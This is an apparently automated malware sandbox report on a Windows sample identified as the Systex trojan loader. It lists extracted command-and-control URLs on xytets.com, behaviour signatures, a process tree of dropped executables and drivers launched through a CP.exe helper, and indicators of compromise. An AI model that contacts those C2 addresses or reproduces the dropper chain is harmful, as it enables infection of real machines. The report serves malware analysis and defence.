Analysis
- max time kernel
149s - max time network
144s - platform
windows10-2004_x64 - resource
win10v2004-20260130-en - resource tags
- submitted
20/04/2026, 14:29
General
- Target 2026-04-20_08f1f00fe84a24de9257b29710e78ab0_elex_redline-stealer_rhadamanthys_stop.exe
- Size 230KB
- Sample260420-rt3vdac18l
- SHA256 9c862a52f2cf3d3f9a3f224b1934e49c5e12716640bd6c2ee0a886accf44001c
Score
10/10
Malware Config
Extracted
Family
-
systex
C2
-
http://xytets.com:2345/t.asp?os=wangba8102
-
http://xytets.com:2345/ll/out.txt
-
http://xytets.com:2345/t.asp?os=home8102
Signatures
- Family: Systex
Systex is a trojan loader written in C++.
- Executes dropped EXE 64 IoCs
- System Location Discovery: System Language Discovery 1 TTPs 43 IoCs
Attempt gather information about the system language of a victim in order to infer the geographical location of that host.
- Gathers network information 2 TTPs 20 IoCs
Uses commandline utility to view network configuration.
- Modifies Internet Explorer settings 1 TTPs 52 IoCs
- Suspicious behavior: EnumeratesProcesses 64 IoCs
- Suspicious behavior: LoadsDriver 19 IoCs
- Suspicious use of AdjustPrivilegeToken 20 IoCs
- Suspicious use of FindShellTrayWindow 2 IoCs
- Suspicious use of SetWindowsHookEx 10 IoCs
- Suspicious use of WriteProcessMemory 64 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\2026-04-20_08f1f00fe84a24de9257b29710e78ab0_elex_redline-stealer_rhadamanthys_stop.exe"C:\Users\Admin\AppData\Local\Temp\2026-04-20_08f1f00fe84a24de9257b29710e78ab0_elex_redline-stealer_rhadamanthys_stop.exe"1⤵
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/t.asp?os=home81022⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:4452 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\Program Files\Internet Explorer\iexplore.exe"C:\Program Files\Internet Explorer\iexplore.exe" http://xytets.com:2345/ll/out.txt2⤵
- Modifies Internet Explorer settings
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE"C:\Program Files (x86)\Internet Explorer\IEXPLORE.EXE" SCODEF:2044 CREDAT:17410 /prefetch:23⤵
- System Location Discovery: System Language Discovery
- Modifies Internet Explorer settings
- Suspicious use of SetWindowsHookEx
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ausmkecxup.exe ups_run2⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
-
C:\Temp\ausmkecxup.exeC:\Temp\ausmkecxup.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ausmkecxup.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ausmkecxup.exeC:\Temp\i_ausmkecxup.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ecwupmhfzx.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\ecwupmhfzx.exeC:\Temp\ecwupmhfzx.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ecwupmhfzx.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_ecwupmhfzx.exeC:\Temp\i_ecwupmhfzx.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wrljebwuom.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\wrljebwuom.exeC:\Temp\wrljebwuom.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wrljebwuom.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wrljebwuom.exeC:\Temp\i_wrljebwuom.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wtomgeywqo.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\wtomgeywqo.exeC:\Temp\wtomgeywqo.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wtomgeywqo.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wtomgeywqo.exeC:\Temp\i_wtomgeywqo.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\oigbytrljd.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\oigbytrljd.exeC:\Temp\oigbytrljd.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_oigbytrljd.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_oigbytrljd.exeC:\Temp\i_oigbytrljd.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\bvtnlfdyvq.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\bvtnlfdyvq.exeC:\Temp\bvtnlfdyvq.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_bvtnlfdyvq.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_bvtnlfdyvq.exeC:\Temp\i_bvtnlfdyvq.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\vqnigaysqk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\vqnigaysqk.exeC:\Temp\vqnigaysqk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_vqnigaysqk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_vqnigaysqk.exeC:\Temp\i_vqnigaysqk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\sqkicavsnk.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\sqkicavsnk.exeC:\Temp\sqkicavsnk.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_sqkicavsnk.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_sqkicavsnk.exeC:\Temp\i_sqkicavsnk.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\nhfzxrpkhc.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\nhfzxrpkhc.exeC:\Temp\nhfzxrpkhc.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_nhfzxrpkhc.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_nhfzxrpkhc.exeC:\Temp\i_nhfzxrpkhc.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\hfzxrpkhcz.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\hfzxrpkhcz.exeC:\Temp\hfzxrpkhcz.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_hfzxrpkhcz.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_hfzxrpkhcz.exeC:\Temp\i_hfzxrpkhcz.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\wrojhbztrm.exe ups_run2⤵
- Executes dropped EXE
-
C:\Temp\wrojhbztrm.exeC:\Temp\wrojhbztrm.exe ups_run3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
- Executes dropped EXE
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_wrojhbztrm.exe ups_ins2⤵
- Executes dropped EXE
-
C:\Temp\i_wrojhbztrm.exeC:\Temp\i_wrojhbztrm.exe ups_ins3⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ywrojgbztr.exe ups_run2⤵
-
C:\Temp\ywrojgbztr.exeC:\Temp\ywrojgbztr.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ywrojgbztr.exe ups_ins2⤵
-
C:\Temp\i_ywrojgbztr.exeC:\Temp\i_ywrojgbztr.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\qojgbztrlj.exe ups_run2⤵
-
C:\Temp\qojgbztrlj.exeC:\Temp\qojgbztrlj.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_qojgbztrlj.exe ups_ins2⤵
-
C:\Temp\i_qojgbztrlj.exeC:\Temp\i_qojgbztrlj.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\lgdyvqoiga.exe ups_run2⤵
-
C:\Temp\lgdyvqoiga.exeC:\Temp\lgdyvqoiga.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_lgdyvqoiga.exe ups_ins2⤵
-
C:\Temp\i_lgdyvqoiga.exeC:\Temp\i_lgdyvqoiga.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\fdxvqnigay.exe ups_run2⤵
-
C:\Temp\fdxvqnigay.exeC:\Temp\fdxvqnigay.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_fdxvqnigay.exe ups_ins2⤵
-
C:\Temp\i_fdxvqnigay.exeC:\Temp\i_fdxvqnigay.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\lfdxvpnifa.exe ups_run2⤵
-
C:\Temp\lfdxvpnifa.exeC:\Temp\lfdxvpnifa.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_lfdxvpnifa.exe ups_ins2⤵
-
C:\Temp\i_lfdxvpnifa.exeC:\Temp\i_lfdxvpnifa.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\cxvpnhfzxs.exe ups_run2⤵
-
C:\Temp\cxvpnhfzxs.exeC:\Temp\cxvpnhfzxs.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_cxvpnhfzxs.exe ups_ins2⤵
-
C:\Temp\i_cxvpnhfzxs.exeC:\Temp\i_cxvpnhfzxs.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\ausmkecxup.exe ups_run2⤵
-
C:\Temp\ausmkecxup.exeC:\Temp\ausmkecxup.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_ausmkecxup.exe ups_ins2⤵
-
C:\Temp\i_ausmkecxup.exeC:\Temp\i_ausmkecxup.exe ups_ins3⤵
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\pjhbztrmje.exe ups_run2⤵
-
C:\Temp\pjhbztrmje.exeC:\Temp\pjhbztrmje.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_pjhbztrmje.exe ups_ins2⤵
-
C:\Temp\i_pjhbztrmje.exeC:\Temp\i_pjhbztrmje.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\rmgezwrpjh.exe ups_run2⤵
-
C:\Temp\rmgezwrpjh.exeC:\Temp\rmgezwrpjh.exe ups_run3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
-
C:\temp\CP.exeC:\temp\CP.exe C:\windows\system32\ipconfig.exe /release4⤵
-
C:\windows\system32\ipconfig.exeC:\windows\system32\ipconfig.exe /release5⤵
- Gathers network information
-
-
-
-
-
C:\temp\CP.exeC:\temp\CP.exe C:\Temp\i_rmgezwrpjh.exe ups_ins2⤵
-
C:\Temp\i_rmgezwrpjh.exeC:\Temp\i_rmgezwrpjh.exe ups_ins3⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
-
-
-
C:\Temp\pjhbzurmke.sysC:\Temp\pjhbzurmke.sys1⤵
- Executes dropped EXE
-
C:\Temp\mkecwuomhe.sysC:\Temp\mkecwuomhe.sys1⤵
- Executes dropped EXE
-
C:\Temp\gbztrljebw.sysC:\Temp\gbztrljebw.sys1⤵
- Executes dropped EXE
-
C:\Temp\vtolgdywqo.sysC:\Temp\vtolgdywqo.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdyvqniga.sysC:\Temp\lfdyvqniga.sys1⤵
- Executes dropped EXE
-
C:\Temp\lfdxvqniga.sysC:\Temp\lfdxvqniga.sys1⤵
- Executes dropped EXE
-
C:\Temp\dxvpnhfaxs.sysC:\Temp\dxvpnhfaxs.sys1⤵
- Executes dropped EXE
-
C:\Temp\usmkfcxupn.sysC:\Temp\usmkfcxupn.sys1⤵
- Executes dropped EXE
-
C:\Temp\rmkecwupmh.sysC:\Temp\rmkecwupmh.sys1⤵
- Executes dropped EXE
-
C:\Temp\jebwuomgey.sysC:\Temp\jebwuomgey.sys1⤵
-
C:\Temp\eywrojgbzt.sysC:\Temp\eywrojgbzt.sys1⤵
-
C:\Temp\tqljdbvtnl.sysC:\Temp\tqljdbvtnl.sys1⤵
-
C:\Temp\ytqlidbvtn.sysC:\Temp\ytqlidbvtn.sys1⤵
-
C:\Temp\sqkidavsnl.sysC:\Temp\sqkidavsnl.sys1⤵
-
C:\Temp\nicausnkfd.sysC:\Temp\nicausnkfd.sys1⤵
-
C:\Temp\hfzxspkhca.sysC:\Temp\hfzxspkhca.sys1⤵
-
C:\Temp\ecwupmhfzx.sysC:\Temp\ecwupmhfzx.sys1⤵
-
C:\Temp\zxrpjhbzur.sysC:\Temp\zxrpjhbzur.sys1⤵
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
CP.exe
ausmkecxup.exe
bvtnlfdyvq.exe
dxvpnhfaxs.sys
ecwupmhfzx.exe
gbztrljebw.sys
i_ausmkecxup.exe
i_bvtnlfdyvq.exe
i_ecwupmhfzx.exe
i_oigbytrljd.exe
i_vqnigaysqk.exe
i_wrljebwuom.exe
i_wtomgeywqo.exe
lfdxvqniga.sys
lfdyvqniga.sys
mkecwuomhe.sys
oigbytrljd.exe
pjhbzurmke.sys
vqnigaysqk.exe
vtolgdywqo.sys
wrljebwuom.exe
wtomgeywqo.exe
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
57C8EDB95DF3F0AD4EE2DC2B8CFD4157
E2C6CBAF0AF08CF203BA74BF0D0AB6D5_430EA0912164D1B129D6E1DC07C63959
RecoveryStore.{702AB061-3CC5-11F1-8285-6A24869B97FE}.dat
RecoveryStore.{702D12B7-3CC5-11F1-8285-6A24869B97FE}.dat
suggestions[1].en-US
memory/312-106-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1032-16-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1404-28-0x0000000000010000-0x0000000000083000-memory.dmp
memory/1612-123-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2476-138-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2488-146-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2880-83-0x0000000000010000-0x0000000000083000-memory.dmp
memory/2992-158-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3040-54-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3080-101-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3132-150-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3620-162-0x0000000000010000-0x0000000000083000-memory.dmp
memory/3812-134-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4776-40-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4792-130-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4832-142-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4900-154-0x0000000000010000-0x0000000000083000-memory.dmp
memory/4980-71-0x0000000000010000-0x0000000000083000-memory.dmp